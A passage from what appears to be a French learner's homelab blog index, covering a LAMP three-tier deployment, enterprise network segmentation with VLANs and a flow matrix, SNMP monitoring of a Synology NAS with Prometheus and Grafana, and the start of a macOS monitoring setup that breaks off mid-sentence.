enregistrements DNS, oui, ce détail stupide. Oublier le point final dans Bind9 cause une double concaténation du domaine. ns1 devient ns1.techcorp.local.techcorp.local. Il faut systématiquement utiliser la notation FQDN complète avec le point : ns1.techcorp.local.\nMySQL refusait les connexions depuis web1. L\u0026rsquo;utilisateur existait, les permissions étaient bonnes, mais rien. Le problème : le paramètre bind-address était sur localhost. J\u0026rsquo;ai dû le changer pour écouter sur 172.20.5.30.\nEt puis web1 lui-même ne résolvait pas techcorp.local. J\u0026rsquo;ai dû configurer systemd-resolved pour pointer vers ns1 (172.20.5.10) plutôt que vers les DNS publics. Détails bêtes, mais bloquants.\nProchaines étapes Matériellement parlant, la structure fonctionne. Mais pour un vrai environnement de production, il y aurait du travail : pare-feu sur chaque serveur (UFW), SSL/TLS pour MySQL, HTTPS avec Let\u0026rsquo;s Encrypt, Fail2Ban. Côté disponibilité, un DNS secondaire, un second serveur web avec load balancer, réplication MySQL Master-Slave. Et puis du monitoring, Prometheus, Grafana, centraliser les logs avec ELK.\nRessources :\nDocumentation Bind9 Apache HTTP Server Documentation MySQL 8.0 Reference Manual ","permalink":"https://appercel-clement.netlify.app/posts/deploiement-infrastructure-3-tiers-pro/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-objectifs\"\u003eContexte et objectifs\u003c/h2\u003e\n\u003cp\u003eJ\u0026rsquo;ai eu l\u0026rsquo;occasion de travailler sur un projet pour une startup du secteur de l\u0026rsquo;assurance en expansion. Le défi était de mettre en place une infrastructure web en stack LAMP (Linux, Apache, MySQL, PHP) avec une architecture 3-tiers, trois machines distinctes plutôt qu\u0026rsquo;une grosse boîte monolithique. Cette séparation promise d\u0026rsquo;améliorer la sécurité en isolant les services, ce qui m\u0026rsquo;intéressait particulièrement venant du monde de l\u0026rsquo;analyse de données où ces préoccupations n\u0026rsquo;existaient pas.\u003c/p\u003e","title":"ASRS Projet 3 : Déploiement d'une infrastructure web en architecture 3-tiers"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte du Projet Dans le cadre de ma formation en cybersécurité, j\u0026rsquo;ai eu l\u0026rsquo;opportunité de travailler sur un projet de conception d\u0026rsquo;infrastructure réseau pour une entreprise hébergée dans un bâtiment d\u0026rsquo;incubateur. L\u0026rsquo;objectif était de concevoir une architecture réseau complète, sécurisée et évolutive, en tenant compte des besoins actuels et futurs de l\u0026rsquo;organisation.\nCe projet m\u0026rsquo;a permis d\u0026rsquo;approfondir mes compétences en architecture réseau et d\u0026rsquo;appliquer les principes de sécurité par conception (security by design).\nLes Concepts Clés Abordés 1. Schéma Physique vs Schéma Logique L\u0026rsquo;une des premières distinctions importantes à comprendre dans ce projet était la différence entre ces deux types de représentation :\nLe schéma physique représente la réalité tangible du réseau : où sont physiquement situés les équipements (switches, serveurs, points d\u0026rsquo;accès WiFi), comment ils sont câblés, dans quelles salles ou étages ils se trouvent. C\u0026rsquo;est la vue \u0026ldquo;architecturale\u0026rdquo; du réseau qui permet de comprendre la topologie géographique et le câblage structuré.\nLe schéma logique, en revanche, représente comment les données circulent et comment le réseau est organisé d\u0026rsquo;un point de vue intellectuel : les VLANs, l\u0026rsquo;adressage IP, les règles de routage et de communication. C\u0026rsquo;est une abstraction qui se concentre sur les flux d\u0026rsquo;information plutôt que sur la localisation physique.\nCes deux visions sont complémentaires et essentielles pour documenter correctement une infrastructure.\n2. La Segmentation Réseau par VLANs La segmentation par VLANs (Virtual Local Area Networks) est un concept fondamental en cybersécurité. Plutôt que d\u0026rsquo;avoir un seul grand réseau \u0026ldquo;plat\u0026rdquo;, on crée des segments logiques isolés. Chaque VLAN constitue un domaine de diffusion distinct.\nDans ce projet, j\u0026rsquo;ai dû identifier et créer plusieurs VLANs pour :\nLes différents départements de l\u0026rsquo;entreprise (Direction, RH/Comptabilité, IT, Commercial, R\u0026amp;D) Les équipements d\u0026rsquo;infrastructure (serveurs, imprimantes) Les systèmes de sécurité physique (caméras, contrôle d\u0026rsquo;accès) Les réseaux sans fil Pourquoi segmenter ? La segmentation répond à plusieurs objectifs :\nSécurité : limiter la propagation latérale en cas de compromission Performance : réduire les domaines de broadcast Organisation : séparer logiquement les ressources selon leur fonction Conformité : isoler les données sensibles 3. Le Plan d\u0026rsquo;Adressage IP et le VLSM Le plan d\u0026rsquo;adressage IP est un document crucial qui définit comment les adresses IP sont distribuées dans le réseau. J\u0026rsquo;ai dû appliquer la technique du VLSM (Variable Length Subnet Mask), qui consiste à adapter la taille de chaque sous-réseau au nombre réel d\u0026rsquo;hôtes nécessaires.\nPar exemple :\nPour un département de 64 personnes : un sous-réseau /25 (126 hôtes utilisables) Pour un département de 3 personnes : un sous-réseau /28 (14 hôtes utilisables) Cette optimisation permet d\u0026rsquo;éviter le gaspillage d\u0026rsquo;adresses IP et de prévoir l\u0026rsquo;évolutivité du réseau. Le plan d\u0026rsquo;adressage doit également définir :\nLes plages DHCP pour l\u0026rsquo;attribution automatique Les adresses statiques pour les équipements critiques (serveurs, imprimantes, équipements réseau) Les passerelles par défaut pour chaque VLAN 4. La Matrice des Flux La matrice des flux est un document de sécurité qui définit explicitement quelles communications sont autorisées entre les différents segments du réseau. Par défaut, les VLANs sont isolés les uns des autres ; c\u0026rsquo;est à l\u0026rsquo;architecte réseau de décider quelles communications inter-VLAN sont nécessaires et légitimes.\nCette matrice prend généralement la forme d\u0026rsquo;un tableau où chaque ligne et colonne représente un VLAN, et les intersections indiquent si la communication est autorisée ou interdite.\nExemples de règles typiques :\nTous les VLANs → Internet (via NAT) Tous les VLANs → VLAN Imprimantes (pour l\u0026rsquo;impression) VLAN IT → Tous les VLANs (pour l\u0026rsquo;administration) VLAN Caméras ↔ VLANs utilisateurs : INTERDIT (principe du moindre privilège) Ce document devient ensuite la base pour la configuration des ACLs (Access Control Lists) et des règles de pare-feu.\n5. Les Services Réseau Essentiels La conception d\u0026rsquo;une infrastructure réseau nécessite également de planifier les services essentiels :\nDHCP (Dynamic Host Configuration Protocol) : J\u0026rsquo;ai dû concevoir un système d\u0026rsquo;attribution automatique d\u0026rsquo;adresses IP avec un pool DHCP par VLAN, tout en prévoyant des réservations statiques pour les équipements critiques.\nNAT (Network Address Translation) : Indispensable pour permettre aux adresses privées du réseau local d\u0026rsquo;accéder à Internet via une ou plusieurs adresses publiques.\nDNS (Domain Name System) : Configuration des serveurs DNS (généralement des serveurs publics comme Google DNS ou Cloudflare) distribués via DHCP.\nPare-feu : Point central de filtrage et de contrôle, incluant la mise en place d\u0026rsquo;une DMZ pour les services exposés sur Internet.\n6. Architecture de Sécurité Au-delà de la segmentation par VLANs, ce projet m\u0026rsquo;a permis d\u0026rsquo;approfondir plusieurs concepts de sécurité :\nPrincipe du moindre privilège : Chaque VLAN ne doit avoir accès qu\u0026rsquo;aux ressources strictement nécessaires Défense en profondeur : Plusieurs couches de sécurité (segmentation réseau, pare-feu, filtrage, supervision) Isolation des systèmes critiques : Les systèmes de sécurité physique (caméras, contrôle d\u0026rsquo;accès) doivent être isolés des réseaux utilisateurs DMZ : Zone démilitarisée pour héberger les services accessibles depuis Internet Les Livrables du Projet Pour ce projet, j\u0026rsquo;ai dû produire plusieurs documents techniques :\nSchéma physique : Représentation de la topologie matérielle et du câblage Schéma logique : Représentation des VLANs, du routage et des services Plan d\u0026rsquo;adressage IP : Tableau détaillé avec toutes les informations d\u0026rsquo;adressage (plages, masques, passerelles, DHCP) Matrice des flux : Tableau définissant les communications autorisées entre VLANs Document d\u0026rsquo;Architecture Technique (DAT) : Synthèse complète justifiant les choix techniques Outils Utilisés Pour la réalisation des schémas, j\u0026rsquo;ai principalement utilisé Draw.io, un outil gratuit et puissant pour créer des diagrammes réseau. D\u0026rsquo;autres outils populaires dans la communauté incluent Lucidchart ou Microsoft Visio.\nLa simulation et validation de certaines configurations peuvent être réalisées avec Cisco Packet Tracer, bien que pour ce projet la réalisation de schémas conceptuels soit suffisante.\nCe que j\u0026rsquo;en Retiens Ce projet m\u0026rsquo;a permis de comprendre qu\u0026rsquo;une infrastructure réseau ne se résume pas à \u0026ldquo;brancher des câbles\u0026rdquo;. C\u0026rsquo;est avant tout une réflexion architecturale qui doit prendre en compte :\nLes besoins métier de l\u0026rsquo;organisation Les exigences de sécurité (confidentialité, intégrité, disponibilité) L\u0026rsquo;évolutivité et la scalabilité La facilité de maintenance et d\u0026rsquo;administration La segmentation réseau est véritablement une première ligne de défense en cybersécurité. En cloisonnant les différents segments, on applique le principe du containment : si un segment est compromis, l\u0026rsquo;attaquant ne peut pas se déplacer librement dans l\u0026rsquo;ensemble du réseau.\nEnfin, la documentation technique (schémas, matrices, plans d\u0026rsquo;adressage) n\u0026rsquo;est pas un exercice purement académique : ce sont des documents vivants qui seront utilisés quotidiennement par les équipes IT et sécurité pour gérer, maintenir et faire évoluer l\u0026rsquo;infrastructure.\n","permalink":"https://appercel-clement.netlify.app/posts/projet-infrastructure-r%C3%A9seau/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-du-projet\"\u003eContexte du Projet\u003c/h2\u003e\n\u003cp\u003eDans le cadre de ma formation en cybersécurité, j\u0026rsquo;ai eu l\u0026rsquo;opportunité de travailler sur un projet de conception d\u0026rsquo;infrastructure réseau pour une entreprise hébergée dans un bâtiment d\u0026rsquo;incubateur. L\u0026rsquo;objectif était de concevoir une architecture réseau complète, sécurisée et évolutive, en tenant compte des besoins actuels et futurs de l\u0026rsquo;organisation.\u003c/p\u003e","title":"ASRS Projet 2 : Conception d'une infrastructure réseau d'entreprise"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte du Projet Dans le cadre de mon infrastructure de monitoring basée sur Prometheus et Grafana, j\u0026rsquo;ai entrepris d\u0026rsquo;intégrer la surveillance de mon NAS Synology DS732+ via le protocole SNMP v2c. Ce choix s\u0026rsquo;est imposé naturellement car SNMP est nativement supporté par DSM sans nécessiter l\u0026rsquo;installation d\u0026rsquo;agents tiers.\nArchitecture Mise en Place L\u0026rsquo;infrastructure repose sur une stack Docker déployée sur Mac M4 Pro :\n┌─────────────────────────────────────────┐ │ Docker Network: monitoring │ │ │ │ ┌────────────┐ ┌──────────────┐ │ │ │ Prometheus │◄─────┤ Grafana │ │ │ │ :9090 │ │ :3000 │ │ │ └─────┬──────┘ └──────────────┘ │ │ │ │ │ ┌─────▼──────┐ │ │ │ SNMP │ │ │ │ Exporter │ │ │ │ :9116 │ │ │ └─────┬──────┘ │ └────────┼────────────────────────────────┘ │ │ SNMP (UDP 161) ▼ ┌─────────────┐ │ Synology │ │ DS732+ │ │ 192.168.2.15│ └─────────────┘ Le flux de données s\u0026rsquo;opère ainsi :\nSNMP Exporter interroge le NAS via SNMP (UDP port 161) Les réponses SNMP sont converties en métriques Prometheus Prometheus collecte ces métriques toutes les 30 secondes Grafana visualise les données stockées dans Prometheus Configuration SNMP sur le NAS Activation du Service La configuration SNMP s\u0026rsquo;effectue directement dans l\u0026rsquo;interface DSM :\nPanneau de configuration → Terminal \u0026amp; SNMP → Onglet SNMP\nParamètres appliqués :\n☑ Activer le service SNMP Version : ☑ SNMPv1, SNMPv2c service Communauté : homelab-monitoring Validation de la Configuration Test de connectivité SNMP depuis le poste de travail :\n1 snmpwalk -v2c -c homelab-monitoring 192.168.2.15 system Résultat obtenu :\nSNMPv2-MIB::sysDescr.0 = STRING: Linux DiskStation 4.4.302+ #69057 SMP SNMPv2-MIB::sysUpTime.0 = Timeticks: (1234567) 3 days, 10:17:47.89 SNMPv2-MIB::sysName.0 = STRING: DiskStation Déploiement de SNMP Exporter Intégration Docker Compose Ajout du service SNMP Exporter dans le fichier docker-compose.yml :\n1 2 3 4 5 6 7 8 9 10 11 12 13 services: snmp-exporter: image: prom/snmp-exporter:latest container_name: snmp-exporter restart: unless-stopped ports: - \u0026#34;9116:9116\u0026#34; volumes: - ./prometheus/snmp-config/snmp.yml:/etc/snmp_exporter/snmp.yml:ro command: - \u0026#39;--config.file=/etc/snmp_exporter/snmp.yml\u0026#39; networks: - monitoring Problème Rencontré : Configuration SNMP Personnalisée Lors des premiers tests, SNMP Exporter retournait l\u0026rsquo;erreur Unknown auth 'homelab_monitoring'. La configuration par défaut de SNMP Exporter utilise la communauté public, or notre NAS était configuré avec homelab-monitoring, ce qui causait l\u0026rsquo;échec d\u0026rsquo;authentification.\nPour résoudre ça, j\u0026rsquo;ai créé un fichier de configuration personnalisé prometheus/snmp-config/snmp.yml :\n1 2 3 4 5 6 7 8 9 10 11 12 # Configuration des authentifications SNMP auths: homelab_monitoring: community: homelab-monitoring version: 2 # Configuration des modules modules: if_mib: walk: - 1.3.6.1.2.1.2 # IF-MIB interfaces - 1.3.6.1.2.1.31 # IF-MIB compteurs additionnels Cette configuration utilise la syntaxe moderne de SNMP Exporter v0.29.0+. Les anciennes syntaxes avec lookups et overrides ont été supprimées dans les versions récentes.\nAprès recréation du conteneur :\n1 2 docker compose down snmp-exporter docker compose up -d snmp-exporter Le test de connectivité a réussi :\n1 curl \u0026#34;http://localhost:9116/snmp?target=192.168.2.15\u0026amp;module=if_mib\u0026amp;auth=homelab_monitoring\u0026#34; Configuration Prometheus Job de Scraping SNMP Configuration du job dans prometheus/prometheus.yml :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 scrape_configs: - job_name: \u0026#39;synology-nas\u0026#39; scrape_interval: 30s scrape_timeout: 10s static_configs: - targets: - \u0026#39;192.168.2.15\u0026#39; labels: hostname: \u0026#39;nas-synology\u0026#39; device_type: \u0026#39;nas\u0026#39; model: \u0026#39;DS732+\u0026#39; location: \u0026#39;homelab\u0026#39; metrics_path: /snmp params: module: [if_mib] auth: [homelab_monitoring] relabel_configs: - source_labels: [__address__] target_label: __param_target - source_labels: [__param_target] target_label: instance - target_label: __address__ replacement: snmp-exporter:9116 Problème Rencontré : Paramètre Auth Manquant Le target apparaissait DOWN dans Prometheus avec l\u0026rsquo;erreur error scraping target. L\u0026rsquo;absence du paramètre auth dans la section params empêchait SNMP Exporter d\u0026rsquo;utiliser la bonne authentification.\nJ\u0026rsquo;ai résolu le problème en ajoutant explicitement la ligne :\n1 2 3 params: module: [if_mib] auth: [homelab_monitoring] # Paramètre critique Ce paramètre doit correspondre exactement au nom défini dans auths du fichier snmp.yml de l\u0026rsquo;exporter.\nAprès rechargement de la configuration :\n1 curl -X POST http://localhost:9090/-/reload Le target est passé à l\u0026rsquo;état UP dans l\u0026rsquo;interface Prometheus.\nMétriques Collectées Métriques Réseau IF-MIB Principales métriques disponibles via le module if_mib :\nMétrique Type Description ifInOctets counter Octets reçus (cumulatif) ifOutOctets counter Octets envoyés (cumulatif) ifInErrors counter Erreurs en réception ifOutErrors counter Erreurs en émission ifInDiscards counter Paquets reçus mais jetés ifOutDiscards counter Paquets émis mais jetés ifOperStatus gauge État opérationnel (1=UP, 2=DOWN) Requêtes PromQL Utilisées Débit réseau entrant en Mbps :\n1 rate(ifInOctets{instance=\u0026#34;192.168.2.15\u0026#34;, ifDescr=~\u0026#34;eth.*\u0026#34;}[5m]) * 8 / 1000 / 1000 Débit réseau sortant en Mbps :\n1 rate(ifOutOctets{instance=\u0026#34;192.168.2.15\u0026#34;, ifDescr=~\u0026#34;eth.*\u0026#34;}[5m]) * 8 / 1000 / 1000 Taux d\u0026rsquo;erreurs réseau :\n1 rate(ifInErrors{instance=\u0026#34;192.168.2.15\u0026#34;}[5m]) État des interfaces :\n1 ifOperStatus{instance=\u0026#34;192.168.2.15\u0026#34;} Dashboards Grafana Dashboard Communautaire Import du dashboard SNMP Stats (ID Grafana : 11207) pour une visualisation rapide des métriques standard.\nDashboard Personnalisé J\u0026rsquo;ai créé un dashboard sur mesure avec trois panels principaux : une vue d\u0026rsquo;ensemble montrant l\u0026rsquo;uptime du NAS et le nombre d\u0026rsquo;interfaces actives, un graphique temporel du débit réseau entrant et sortant (avec les requêtes PromQL appropriées en Mbps), et enfin un dernier panel dédié aux erreurs réseau qui suit les quatre métriques clés (erreurs entrantes, erreurs sortantes, paquets jetés à la réception et à l\u0026rsquo;émission).\nConfiguration des Alertes Règles d\u0026rsquo;Alerte Implémentées Fichier prometheus/rules/nas-alerts.yml :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 groups: - name: nas-synology-alerts interval: 30s rules: - alert: NasDown expr: up{job=\u0026#34;synology-nas\u0026#34;} == 0 for: 2m labels: severity: critical device: nas annotations: summary: \u0026#34;NAS Synology injoignable\u0026#34; description: \u0026#34;Le NAS {{ $labels.instance }} ne répond plus depuis 2 minutes.\u0026#34; - alert: InterfaceDown expr: ifOperStatus{instance=~\u0026#34;192.168.2.15\u0026#34;} == 2 for: 5m labels: severity: warning device: nas annotations: summary: \u0026#34;Interface réseau DOWN\u0026#34; description: \u0026#34;L\u0026#39;interface {{ $labels.ifDescr }} du NAS est désactivée depuis 5 minutes.\u0026#34; - alert: NetworkErrorsHigh expr: rate(ifInErrors{instance=~\u0026#34;192.168.2.15\u0026#34;}[5m]) \u0026gt; 100 for: 10m labels: severity: warning device: nas annotations: summary: \u0026#34;Erreurs réseau élevées\u0026#34; description: \u0026#34;L\u0026#39;interface {{ $labels.ifDescr }} enregistre {{ $value | humanize }} erreurs/sec depuis 10 minutes.\u0026#34; - alert: NetworkTrafficAnomalouslyHigh expr: rate(ifOutOctets{instance=~\u0026#34;192.168.2.15\u0026#34;}[5m]) * 8 / 1000 / 1000 \u0026gt; 900 for: 15m labels: severity: warning device: nas annotations: summary: \u0026#34;Débit sortant anormalement élevé\u0026#34; description: \u0026#34;Le NAS envoie {{ $value | humanize }}Mbps depuis 15 minutes.\u0026#34; Rechargement de Prometheus :\n1 curl -X POST http://localhost:9090/-/reload Vérification dans l\u0026rsquo;interface Prometheus (onglet Alerts) : les 4 règles apparaissent en état \u0026ldquo;Inactive\u0026rdquo;, confirmant leur bon chargement.\nProblèmes Techniques Résolus Configuration SNMP Exporter La première difficulté majeure s\u0026rsquo;est présentée immédiatement : l\u0026rsquo;erreur « Unknown auth ». L\u0026rsquo;exporter utilise par défaut la communauté public, tandis que notre NAS avait une configuration spécifique. J\u0026rsquo;ai dû créer un fichier snmp.yml personnalisé. Cette première leçon a mis en évidence l\u0026rsquo;importance du cycle Docker complet : le volume doit être monté, et le conteneur doit être recréé plutôt que simplement redémarré.\nSyntaxe de Configuration Moderne La deuxième embûche venait de la documentation : de nombreux tutoriels en ligne utilisent les anciennes sections lookups et overrides, incompatibles avec SNMP Exporter v0.29.0+. J\u0026rsquo;ai dû adopter la syntaxe minimaliste actuelle. Cela m\u0026rsquo;a appris à toujours consulter la documentation officielle correspondant à la version exacte utilisée.\nParamètre Auth dans Prometheus Même avec SNMP Exporter correctement configuré, le target restait DOWN dans Prometheus. Le paramètre auth: [homelab_monitoring] s\u0026rsquo;avérait obligatoire dans la section params de la configuration Prometheus. Cette subtilité de configuration m\u0026rsquo;a montré l\u0026rsquo;importance de la correspondance exacte entre les deux systèmes.\nRelabel Configs Comprendre le mécanisme de transformation des labels a nécessité du temps. Les relabel_configs opèrent en trois étapes pour achever le pattern multi-target exporter : transformer l\u0026rsquo;IP target en paramètre, préserver l\u0026rsquo;instance dans les métriques, et rediriger vers l\u0026rsquo;exporter plutôt que vers le target direct.\nRésultats Obtenus Métriques Opérationnelles L\u0026rsquo;infrastructure de monitoring SNMP fournit désormais :\nCollecte toutes les 30 secondes 15+ métriques par interface réseau Latence de scraping \u0026lt; 2 secondes Rétention de 30 jours de données 4 alertes actives Dashboards Disponibles Dashboard communautaire SNMP Stats (vue globale) Dashboard personnalisé avec 3 panels (débit, erreurs, overview) Toutes les métriques visualisables en temps réel Points Techniques à Retenir Architecture SNMP avec Prometheus Le pattern utilisé (multi-target exporter) présente plusieurs avantages :\nUn seul conteneur SNMP Exporter pour plusieurs équipements Scalabilité horizontale simple Configuration centralisée dans Prometheus Isolation des protocoles (HTTP pour Prometheus, UDP pour SNMP) Configuration Moderne de SNMP Exporter La version 0.29.0+ a simplifié la configuration :\nSuppression des sections lookups et overrides Configuration minimaliste fonctionnelle Moins de risques d\u0026rsquo;erreurs de syntaxe Relabel Configs Le mécanisme de relabeling permet de :\nTransformer l\u0026rsquo;IP target en paramètre URL Préserver l\u0026rsquo;instance dans les métriques Rediriger vers l\u0026rsquo;exporter au lieu du target Cette technique s\u0026rsquo;applique à tous les exporters multi-target (Blackbox, SNMP, etc.).\nConclusion La mise en place du monitoring SNMP du NAS Synology a nécessité la résolution de plusieurs problématiques techniques, principalement liées à l\u0026rsquo;authentification SNMP et à la configuration moderne de l\u0026rsquo;exporter. L\u0026rsquo;architecture repose sur cinq éléments clés : SNMP v2c activé directement sur le NAS, SNMP Exporter avec une configuration personnalisée adaptée à notre infrastructure, Prometheus avec les relabel configs permettant la redirection multi-target, Grafana avec des dashboards dédiés à la visualisation des métriques réseau, et enfin un système d\u0026rsquo;alerting robuste pour la détection rapide d\u0026rsquo;anomalies.\nL\u0026rsquo;ensemble est opérationnel et collecte des métriques fiables toutes les 30 secondes. Cette base servira pour l\u0026rsquo;intégration d\u0026rsquo;autres équipements réseau (routeur pfSense, switch MikroTik) utilisant également SNMP.\nConfiguration testée avec :\nSynology DS732+ (DSM 7.x) SNMP Exporter v0.29.0 Prometheus v2.x Grafana v10.x Docker Compose v3.8 ","permalink":"https://appercel-clement.netlify.app/posts/monitoring-nas-synology-snmp/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-du-projet\"\u003eContexte du Projet\u003c/h2\u003e\n\u003cp\u003eDans le cadre de mon infrastructure de monitoring basée sur Prometheus et Grafana, j\u0026rsquo;ai entrepris d\u0026rsquo;intégrer la surveillance de mon NAS Synology DS732+ via le protocole SNMP v2c. Ce choix s\u0026rsquo;est imposé naturellement car SNMP est nativement supporté par DSM sans nécessiter l\u0026rsquo;installation d\u0026rsquo;agents tiers.\u003c/p\u003e","title":"Monitoring NAS Synology via SNMP : retour d'expérience technique"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nLe Contexte : Pourquoi se Lancer dans le Monitoring ? Dans le cadre de ma formation d\u0026rsquo;administrateur système et réseau avec spécialisation cybersécurité, le monitoring s\u0026rsquo;impose comme une compétence essentielle. Impossible de détecter une intrusion, une anomalie ou un problème de performance sans une surveillance adéquate de son infrastructure.\nAprès quelques recherches, Prometheus + Grafana s\u0026rsquo;est imposé comme le standard de facto pour le monitoring moderne. Utilisé par Netflix, Spotify, et la plupart des entreprises tech, ce combo offre une solution open-source, scalable et professionnelle.\nMon objectif : Mettre en place une stack de monitoring sur un Mac Pro (via Docker) qui servira de \u0026ldquo;tour de contrôle\u0026rdquo;, puis étendre progressivement cette surveillance à mes machines Proxmox, mon NAS Synology, et mon routeur pfSense.\nÉtape 1 : Installation de Docker Desktop L\u0026rsquo;installation de Docker Desktop sur macOS s\u0026rsquo;est déroulée sans difficulté particulière. Après le téléchargement et l\u0026rsquo;installation classique, les vérifications de base confirment le bon fonctionnement :\n1 2 docker --version docker run hello-world Docker est opérationnel et prêt à héberger notre infrastructure de monitoring.\nÉtape 2 : Déploiement de Prometheus et Grafana Le déploiement s\u0026rsquo;effectue via Docker Compose, qui permet de définir et gérer des applications multi-conteneurs. Le fichier docker-compose.yml configure :\nPrometheus : serveur de métriques écoutant sur le port 9090 Grafana : interface de visualisation sur le port 3000 Volumes persistants : pour conserver les données entre les redémarrages Réseau isolé : pour la communication entre conteneurs Le fichier de configuration prometheus.yml définit les cibles à surveiller (targets) et les paramètres de collecte.\n1 docker compose up -d Les deux conteneurs démarrent correctement. Prometheus est accessible via http://localhost:9090 et Grafana via http://localhost:3000 (identifiants par défaut : admin/admin123).\nLa connexion entre Grafana et Prometheus se configure via l\u0026rsquo;interface Grafana, en ajoutant Prometheus comme data source avec l\u0026rsquo;URL http://prometheus:9090. Un dashboard communautaire (\u0026ldquo;Prometheus 2.0 Overview\u0026rdquo;) permet de vérifier rapidement que la stack fonctionne et que les métriques de base de Prometheus lui-même sont collectées.\nÉtape 3 : Node Exporter et la Découverte d\u0026rsquo;une Limitation Majeure Pour surveiller les métriques système du Mac (CPU, RAM, disque, réseau), l\u0026rsquo;installation d\u0026rsquo;un \u0026ldquo;exporter\u0026rdquo; est nécessaire. Node Exporter est l\u0026rsquo;outil standard qui lit ces métriques et les expose dans un format compatible Prometheus.\nL\u0026rsquo;ajout initial d\u0026rsquo;un service node-exporter dans le docker-compose.yml semblait être la solution logique. Après redémarrage de la stack et configuration de Prometheus pour scraper ce nouvel exporter, les premières observations dans Grafana révèlent un problème inattendu :\n4 cœurs CPU détectés au lieu des 14 cœurs du M4 Pro 16 Go de RAM affichés au lieu des 64 Go disponibles Analyse : Docker Desktop et la Virtualisation sur macOS La cause de cette discordance réside dans l\u0026rsquo;architecture même de Docker Desktop sur macOS (et Windows) :\nSur Linux, Docker partage le noyau de l\u0026rsquo;hôte et accède directement aux ressources système.\nSur macOS, Docker Desktop crée une machine virtuelle Linux légère dans laquelle tournent tous les conteneurs. Cette VM dispose de ressources allouées via les paramètres de Docker Desktop.\nDans ma configuration, j\u0026rsquo;avais précisément alloué 4 cœurs et 16 Go de RAM à Docker. Node Exporter, fonctionnant dans un conteneur de cette VM, ne pouvait donc voir que ces ressources limitées, et non celles du Mac hôte.\nConclusion technique : Sur macOS et Windows, un exporter en conteneur Docker ne peut pas accéder aux véritables métriques système de la machine hôte.\nÉtape 4 : Installation Native de Node Exporter La solution consiste à installer Node Exporter directement sur macOS, en dehors de Docker.\nInstallation via Homebrew 1 2 brew install node_exporter brew services start node_exporter Node Exporter s\u0026rsquo;exécute maintenant en tant que service natif macOS et a accès aux véritables ressources système.\nConfiguration de Prometheus Le fichier prometheus.yml doit être modifié pour que Prometheus interroge l\u0026rsquo;exporter natif plutôt que celui dans Docker :\n1 2 3 4 5 6 7 8 - job_name: \u0026#39;mac-m4-pro\u0026#39; static_configs: - targets: [\u0026#39;host.docker.internal:9100\u0026#39;] labels: hostname: \u0026#39;mac-m4-pro\u0026#39; os: \u0026#39;macos\u0026#39; location: \u0026#39;homelab\u0026#39; role: \u0026#39;workstation\u0026#39; Note technique : host.docker.internal est une adresse DNS spéciale fournie par Docker Desktop qui résout vers l\u0026rsquo;hôte. Cela permet aux conteneurs Docker d\u0026rsquo;accéder aux services tournant directement sur macOS.\nLe service node-exporter a été supprimé du docker-compose.yml puisqu\u0026rsquo;il n\u0026rsquo;est plus nécessaire.\nAprès rechargement de la configuration Prometheus, les métriques collectées reflètent maintenant correctement les ressources du Mac : 14 cœurs CPU et 64 Go de RAM.\nÉtape 5 : Compatibilité des Dashboards Grafana Une fois les métriques correctement collectées, l\u0026rsquo;import de dashboards Grafana communautaires a révélé un second problème : l\u0026rsquo;incompatibilité des noms de métriques entre Linux et macOS.\nLe Problème : Nommage des Métriques La majorité des dashboards Grafana disponibles sont conçus pour des systèmes Linux. Node Exporter utilise des noms de métriques différents selon le système d\u0026rsquo;exploitation :\nMétrique Linux Métrique macOS node_memory_MemTotal_bytes node_memory_total_bytes node_memory_MemAvailable_bytes node_memory_free_bytes + node_memory_inactive_bytes node_memory_MemFree_bytes node_memory_free_bytes Résultat : les dashboards cherchent des métriques qui n\u0026rsquo;existent pas sur macOS, provoquant l\u0026rsquo;affichage de \u0026ldquo;No data\u0026rdquo; dans de nombreux panels.\nSolution : Adaptation des Requêtes PromQL Il est nécessaire d\u0026rsquo;adapter manuellement les requêtes PromQL pour qu\u0026rsquo;elles correspondent aux métriques 